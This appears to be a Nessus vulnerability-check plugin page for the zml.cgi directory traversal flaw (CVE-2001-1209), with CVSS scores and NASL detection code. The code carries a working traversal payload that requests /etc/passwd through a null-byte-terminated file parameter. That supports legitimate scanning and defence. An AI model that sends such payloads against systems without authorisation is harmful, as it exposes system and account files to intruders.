Lucene search

K
nessusThis script is Copyright (C) 2002-2021 H D Moore & Drew Hintz ( http://guh.nu )ZML_CGI_TRAVERSAL.NASL
HistoryJan 17, 2002 - 12:00 a.m.

zml.cgi Directory Traversal

2002-01-1700:00:00
This script is Copyright (C) 2002-2021 H D Moore & Drew Hintz ( http://guh.nu )
www.tenable.com
26

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

EPSS

0.02

Percentile

88.9%

ZML.cgi is vulnerable to a directory traversal attack. It enables a remote attacker to view any file on the computer with the privileges of the cgi/httpd user.

#%NASL_MIN_LEVEL 70300
#
# This script was written by Drew Hintz ( http://guh.nu )
#
# It is based on scripts written by Renaud Deraison and  HD Moore
#
# See the Nessus Scripts License for details
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
 script_id(10830);
 script_version("1.30");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

 script_cve_id("CVE-2001-1209");
 script_bugtraq_id(3759);

 script_name(english:"zml.cgi Directory Traversal");
 script_summary(english:"zml.cgi is vulnerable to an exploit which lets an attacker view any file that the cgi/httpd user has access to.");

 script_set_attribute(attribute:"synopsis", value:
"The remote host contains a CGI script that is prone to directory
traversal attacks.");
 script_set_attribute(attribute:"description", value:
"ZML.cgi is vulnerable to a directory traversal attack.  It enables a
remote attacker to view any file on the computer with the privileges of
the cgi/httpd user.");
 #https://web.archive.org/web/20031223125426/http://archives.neohapsis.com/archives/vulnwatch/2001-q4/0086.html
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a85ffb3a");
 script_set_attribute(attribute:"solution", value:"Remove this CGI from the web server.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"vuln_publication_date", value:"2001/12/31");
 script_set_attribute(attribute:"plugin_publication_date", value:"2002/01/17");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_GATHER_INFO);
 script_copyright(english:"This script is Copyright (C) 2002-2021 H D Moore & Drew Hintz ( http://guh.nu )");
 script_family(english:"CGI abuses");
 script_dependencie("http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");

global_var port;

port = get_http_port(default:80, embedded:TRUE);

if(!get_port_state(port))exit(0);


function check(req)
{
  local_var r;

  req = http_get(item:req, port:port);
  r = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if ( r == NULL ) exit(0);

  if("root:" >< r && egrep(pattern:".*root:.*:0:[01]:.*", string:r))
  {
   	security_warning(port:port);
	return(1);
  }
 return(0);
}

dirs = cgi_dirs();
foreach dir (dirs)
{
 url = string(dir, "/zml.cgi?file=../../../../../../../../../../../../etc/passwd%00");
 if(check(req:url))exit(0);
}

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

EPSS

0.02

Percentile

88.9%

Related for ZML_CGI_TRAVERSAL.NASL